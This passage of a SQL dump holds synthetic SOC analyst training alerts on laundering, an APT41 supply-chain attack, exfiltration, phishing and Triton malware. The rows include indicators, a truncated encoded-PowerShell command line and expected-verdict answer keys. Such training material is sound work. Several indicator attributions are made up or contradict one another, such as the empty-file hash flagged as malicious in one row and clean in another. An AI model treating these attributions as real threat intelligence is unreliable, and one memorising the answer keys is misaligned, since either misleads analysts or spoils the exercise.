operations.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"f2c7a3a849b8f8c7a3a849b8f8c7a3a8\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with WannaCry malware.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"transfer_record.xlsx\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"suspicious\",\"details\":\"File used during unauthorized fund transfers.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.471Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"103.123.45.67\\\",\\\"destination_ip\\\":\\\"192.168.10.25\\\",\\\"transaction_id\\\":\\\"TXN123456789\\\",\\\"amount\\\":\\\"5,000,000 USD\\\",\\\"destination_country\\\":\\\"Philippines\\\",\\\"malware_hash\\\":\\\"f2c7a3a849b8f8c7a3a849b8f8c7a3a8\\\",\\\"suspected_tool\\\":\\\"WannaCry\\\",\\\"user\\\":\\\"internal_user@bank.com\\\",\\\"filename\\\":\\\"transfer_record.xlsx\\\",\\\"status\\\":\\\"Completed\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.471Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"103.123.45.67\\\",\\\"destination_ip\\\":\\\"192.168.10.25\\\",\\\"transaction_id\\\":\\\"TXN123456789\\\",\\\"amount\\\":\\\"5,000,000 USD\\\",\\\"destination_country\\\":\\\"Philippines\\\",\\\"malware_hash\\\":\\\"f2c7a3a849b8f8c7a3a849b8f8c7a3a8\\\",\\\"suspected_tool\\\":\\\"WannaCry\\\",\\\"user\\\":\\\"internal_user@bank.com\\\",\\\"filename\\\":\\\"transfer_record.xlsx\\\",\\\"status\\\":\\\"Completed\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.471Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"103.123.45.67\\\",\\\"destination_ip\\\":\\\"192.168.10.25\\\",\\\"transaction_id\\\":\\\"TXN123456789\\\",\\\"amount\\\":\\\"5,000,000 USD\\\",\\\"destination_country\\\":\\\"Philippines\\\",\\\"malware_hash\\\":\\\"f2c7a3a849b8f8c7a3a849b8f8c7a3a8\\\",\\\"suspected_tool\\\":\\\"WannaCry\\\",\\\"user\\\":\\\"internal_user@bank.com\\\",\\\"filename\\\":\\\"transfer_record.xlsx\\\",\\\"status\\\":\\\"Completed\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.471Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"103.123.45.67\\\",\\\"destination_ip\\\":\\\"192.168.10.25\\\",\\\"transaction_id\\\":\\\"TXN123456789\\\",\\\"amount\\\":\\\"5,000,000 USD\\\",\\\"destination_country\\\":\\\"Philippines\\\",\\\"malware_hash\\\":\\\"f2c7a3a849b8f8c7a3a849b8f8c7a3a8\\\",\\\"suspected_tool\\\":\\\"WannaCry\\\",\\\"user\\\":\\\"internal_user@bank.com\\\",\\\"filename\\\":\\\"transfer_record.xlsx\\\",\\\"status\\\":\\\"Completed\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.471Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"103.123.45.67\\\",\\\"destination_ip\\\":\\\"192.168.10.25\\\",\\\"transaction_id\\\":\\\"TXN123456789\\\",\\\"amount\\\":\\\"5,000,000 USD\\\",\\\"destination_country\\\":\\\"Philippines\\\",\\\"malware_hash\\\":\\\"f2c7a3a849b8f8c7a3a849b8f8c7a3a8\\\",\\\"suspected_tool\\\":\\\"WannaCry\\\",\\\"user\\\":\\\"internal_user@bank.com\\\",\\\"filename\\\":\\\"transfer_record.xlsx\\\",\\\"status\\\":\\\"Completed\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(821, 'Funds Laundered via Philippine Casinos - Step 7', 'critical', 'Financial transaction monitoring', 'In the final stage of the operation, the stolen funds are laundered through Philippine casinos, making the money difficult to trace. This step involves complex transactions designed to obscure the origin of the funds.', 'Money Laundering', 'T1041 - Exfiltration Over C2 Channel', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-02T15:45:23Z\",\"transaction_id\":\"TRX789654123\",\"source_ip\":\"192.168.1.10\",\"destination_ip\":\"203.160.75.123\",\"amount\":500000,\"currency\":\"USD\",\"destination_account\":\"PH-CAS-9876543210\",\"malware_hash\":\"3d7f2b8a9ecf5b2a3f5b4c6d8f9e8c1d\",\"associated_user\":\"j.smith@banklocal.com\",\"casinos_involved\":[\"ManilaCasino1\",\"CebuCasino2\"],\"attack_pattern\":\"Complex financial transactions\",\"notes\":\"Final laundering step observed with funds transferred to high-risk casino accounts.\"}', '2026-01-12 22:20:52', '2026-02-16 17:59:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP used to initiate transaction.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.160.75.123\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"Destination IP associated with high-risk gambling activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3d7f2b8a9ecf5b2a3f5b4c6d8f9e8c1d\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with custom Lazarus Group malware.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"j.smith@banklocal.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Records\",\"verdict\":\"suspicious\",\"details\":\"User account linked to anomalous transactions.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.473Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T15:45:23Z\\\",\\\"transaction_id\\\":\\\"TRX789654123\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"203.160.75.123\\\",\\\"amount\\\":500000,\\\"currency\\\":\\\"USD\\\",\\\"destination_account\\\":\\\"PH-CAS-9876543210\\\",\\\"malware_hash\\\":\\\"3d7f2b8a9ecf5b2a3f5b4c6d8f9e8c1d\\\",\\\"associated_user\\\":\\\"j.smith@banklocal.com\\\",\\\"casinos_involved\\\":[\\\"ManilaCasino1\\\",\\\"CebuCasino2\\\"],\\\"attack_pattern\\\":\\\"Complex financial transactions\\\",\\\"notes\\\":\\\"Final laundering step observed with funds transferred to high-risk casino accounts.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.473Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T15:45:23Z\\\",\\\"transaction_id\\\":\\\"TRX789654123\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"203.160.75.123\\\",\\\"amount\\\":500000,\\\"currency\\\":\\\"USD\\\",\\\"destination_account\\\":\\\"PH-CAS-9876543210\\\",\\\"malware_hash\\\":\\\"3d7f2b8a9ecf5b2a3f5b4c6d8f9e8c1d\\\",\\\"associated_user\\\":\\\"j.smith@banklocal.com\\\",\\\"casinos_involved\\\":[\\\"ManilaCasino1\\\",\\\"CebuCasino2\\\"],\\\"attack_pattern\\\":\\\"Complex financial transactions\\\",\\\"notes\\\":\\\"Final laundering step observed with funds transferred to high-risk casino accounts.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.473Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T15:45:23Z\\\",\\\"transaction_id\\\":\\\"TRX789654123\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"203.160.75.123\\\",\\\"amount\\\":500000,\\\"currency\\\":\\\"USD\\\",\\\"destination_account\\\":\\\"PH-CAS-9876543210\\\",\\\"malware_hash\\\":\\\"3d7f2b8a9ecf5b2a3f5b4c6d8f9e8c1d\\\",\\\"associated_user\\\":\\\"j.smith@banklocal.com\\\",\\\"casinos_involved\\\":[\\\"ManilaCasino1\\\",\\\"CebuCasino2\\\"],\\\"attack_pattern\\\":\\\"Complex financial transactions\\\",\\\"notes\\\":\\\"Final laundering step observed with funds transferred to high-risk casino accounts.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.473Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T15:45:23Z\\\",\\\"transaction_id\\\":\\\"TRX789654123\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"203.160.75.123\\\",\\\"amount\\\":500000,\\\"currency\\\":\\\"USD\\\",\\\"destination_account\\\":\\\"PH-CAS-9876543210\\\",\\\"malware_hash\\\":\\\"3d7f2b8a9ecf5b2a3f5b4c6d8f9e8c1d\\\",\\\"associated_user\\\":\\\"j.smith@banklocal.com\\\",\\\"casinos_involved\\\":[\\\"ManilaCasino1\\\",\\\"CebuCasino2\\\"],\\\"attack_pattern\\\":\\\"Complex financial transactions\\\",\\\"notes\\\":\\\"Final laundering step observed with funds transferred to high-risk casino accounts.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.473Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T15:45:23Z\\\",\\\"transaction_id\\\":\\\"TRX789654123\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"203.160.75.123\\\",\\\"amount\\\":500000,\\\"currency\\\":\\\"USD\\\",\\\"destination_account\\\":\\\"PH-CAS-9876543210\\\",\\\"malware_hash\\\":\\\"3d7f2b8a9ecf5b2a3f5b4c6d8f9e8c1d\\\",\\\"associated_user\\\":\\\"j.smith@banklocal.com\\\",\\\"casinos_involved\\\":[\\\"ManilaCasino1\\\",\\\"CebuCasino2\\\"],\\\"attack_pattern\\\":\\\"Complex financial transactions\\\",\\\"notes\\\":\\\"Final laundering step observed with funds transferred to high-risk casino accounts.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(822, 'Initial Compromise via CCleaner', 'high', 'Network Traffic Analysis', 'APT41 leveraged a supply chain attack by distributing a compromised version of CCleaner, a trusted software, to gain initial access to systems. The attack was identified through unusual network traffic patterns, confirming the presence of a known malicious hash associated with the CCleaner supply chain attack.', 'Supply Chain Attack', 'T1195.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:34:29Z\",\"source_ip\":\"192.168.1.100\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"HTTP\",\"url\":\"http://malicious-update.com/ccleaner.exe\",\"downloaded_file_hash\":\"b2f5ff47436671b6e533d8dc3614845d\",\"username\":\"jdoe\",\"filename\":\"ccleaner.exe\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"event_type\":\"download\",\"event_description\":\"User downloaded a compromised version of CCleaner.\"}', '2026-01-12 22:25:20', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelligencePlatform\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous supply chain attacks by APT41.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"b2f5ff47436671b6e533d8dc3614845d\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a malicious version of CCleaner.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-update.com/ccleaner.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"OpenPhish\",\"verdict\":\"malicious\",\"details\":\"URL known to distribute malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(823, 'Deployment of Second-Stage Payload', 'high', 'Endpoint Detection and Response', 'APT41 executed a second-stage payload on high-value technology companies, targeting specifically chosen entities for espionage.', 'Targeted Espionage', 'T1071.001 - Application Layer Protocol: Web Protocols', 1, 'new', NULL, '{\"timestamp\":\"2023-10-01T14:23:45Z\",\"event_id\":\"EID-20231001-5678\",\"source_ip\":\"203.0.113.5\",\"destination_ip\":\"192.168.1.100\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"filename\":\"payload.exe\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"username\":\"jdoe\",\"host_ip\":\"10.0.0.25\",\"network_segment\":\"corporate\",\"action\":\"Executed\",\"description\":\"The second-stage payload was executed successfully on the targeted host.\"}', '2026-01-12 22:25:20', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known APT41 command and control server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal host targeted by APT41.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Malware associated with APT41 activity.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection\",\"verdict\":\"suspicious\",\"details\":\"Unusual file execution detected.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(824, 'Exfiltration of Sensitive Data', 'critical', 'Data Loss Prevention Systems', 'After establishing a foothold in the target networks, APT41 began exfiltrating sensitive data, highlighting the operation\'s true espionage objective amid the larger attack. The exfiltration was detected through anomalous data transfer patterns from internal servers to an external IP address.', 'Data Breach', 'T1020 - Automated Exfiltration', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-05T14:27:32Z\",\"source_ip\":\"10.12.45.67\",\"destination_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"filename\":\"financial_report_q3_2023.xlsx\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"event_id\":\"EXFIL1234\",\"description\":\"Detected unauthorized data transfer to external IP\",\"protocol\":\"HTTPS\",\"bytes_transferred\":10485760}', '2026-01-12 22:25:20', '2026-02-16 17:58:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known command and control server associated with APT41.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.12.45.67\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"clean\",\"details\":\"Legitimate user credentials potentially compromised.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"financial_report_q3_2023.xlsx\",\"is_critical\":false,\"osint_result\":{\"source\":\"File System Logs\",\"verdict\":\"clean\",\"details\":\"Sensitive file containing proprietary financial data.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No malicious signatures associated with this hash.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'novice', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.477Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:27:32Z\\\",\\\"source_ip\\\":\\\"10.12.45.67\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"financial_report_q3_2023.xlsx\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"event_id\\\":\\\"EXFIL1234\\\",\\\"description\\\":\\\"Detected unauthorized data transfer to external IP\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_transferred\\\":10485760}\"},{\"timestamp\":\"2026-02-01T20:31:22.477Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:27:32Z\\\",\\\"source_ip\\\":\\\"10.12.45.67\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"financial_report_q3_2023.xlsx\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"event_id\\\":\\\"EXFIL1234\\\",\\\"description\\\":\\\"Detected unauthorized data transfer to external IP\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_transferred\\\":10485760}\"},{\"timestamp\":\"2026-02-01T20:30:22.477Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:27:32Z\\\",\\\"source_ip\\\":\\\"10.12.45.67\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"financial_report_q3_2023.xlsx\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"event_id\\\":\\\"EXFIL1234\\\",\\\"description\\\":\\\"Detected unauthorized data transfer to external IP\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_transferred\\\":10485760}\"},{\"timestamp\":\"2026-02-01T20:29:22.477Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:27:32Z\\\",\\\"source_ip\\\":\\\"10.12.45.67\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"financial_report_q3_2023.xlsx\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"event_id\\\":\\\"EXFIL1234\\\",\\\"description\\\":\\\"Detected unauthorized data transfer to external IP\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_transferred\\\":10485760}\"},{\"timestamp\":\"2026-02-01T20:28:22.477Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:27:32Z\\\",\\\"source_ip\\\":\\\"10.12.45.67\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"financial_report_q3_2023.xlsx\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"event_id\\\":\\\"EXFIL1234\\\",\\\"description\\\":\\\"Detected unauthorized data transfer to external IP\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_transferred\\\":10485760}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(825, 'Initial Access via Phishing Email', 'high', 'Email Gateway Logs', 'The attackers initiated their operation by sending a spear-phishing email to the employee, attempting to steal credentials and gain a foothold in the network. The email contained a malicious attachment intended to execute a payload if opened.', 'Phishing', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-08T14:22:34Z\",\"email_subject\":\"Urgent: Update Your Account Information\",\"sender_email\":\"john.doe@maliciousdomain.com\",\"recipient_email\":\"jane.smith@company.com\",\"attachment_name\":\"Invoice_Update.pdf\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"sender_ip\":\"203.0.113.45\",\"recipient_ip\":\"192.168.1.10\",\"headers\":{\"User-Agent\":\"Mozilla/5.0\",\"X-Mailer\":\"PHPMailer 6.1\"}}', '2026-01-13 01:52:24', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"john.doe@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Domain associated with previous phishing attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP Reputation Database\",\"verdict\":\"malicious\",\"details\":\"IP address flagged for distributing phishing emails.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Hash Registry\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with known malicious PDF files.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access via Phishing Email\",\"date\":\"2026-02-01T20:32:22.478Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(826, 'Execution of Malware Payload', 'high', 'Endpoint Detection and Response (EDR)', 'Attackers executed the Triton/TRISIS payload on a compromised host within the plant network. This action aims to manipulate safety systems stealthily.', 'Malware Deployment', 'T1203: Exploitation for Client Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:10Z\",\"event_id\":\"EDR-20231015-00123\",\"source_ip\":\"192.168.1.15\",\"destination_ip\":\"10.20.30.40\",\"attacker_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"process_name\":\"triton_deploy.exe\",\"file_hash\":\"9f2d3c2b4a7d8e9f1a3b5c7d8e9f0b3c\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\triton_deploy.exe\",\"action\":\"Execution\",\"result\":\"Success\"}', '2026-01-13 01:52:24', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with Triton/TRISIS activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"9f2d3c2b4a7d8e9f1a3b5c7d8e9f0b3c\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Malware hash associated with Triton/TRISIS.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"triton_deploy.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Executable file linked to Triton/TRISIS deployment.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 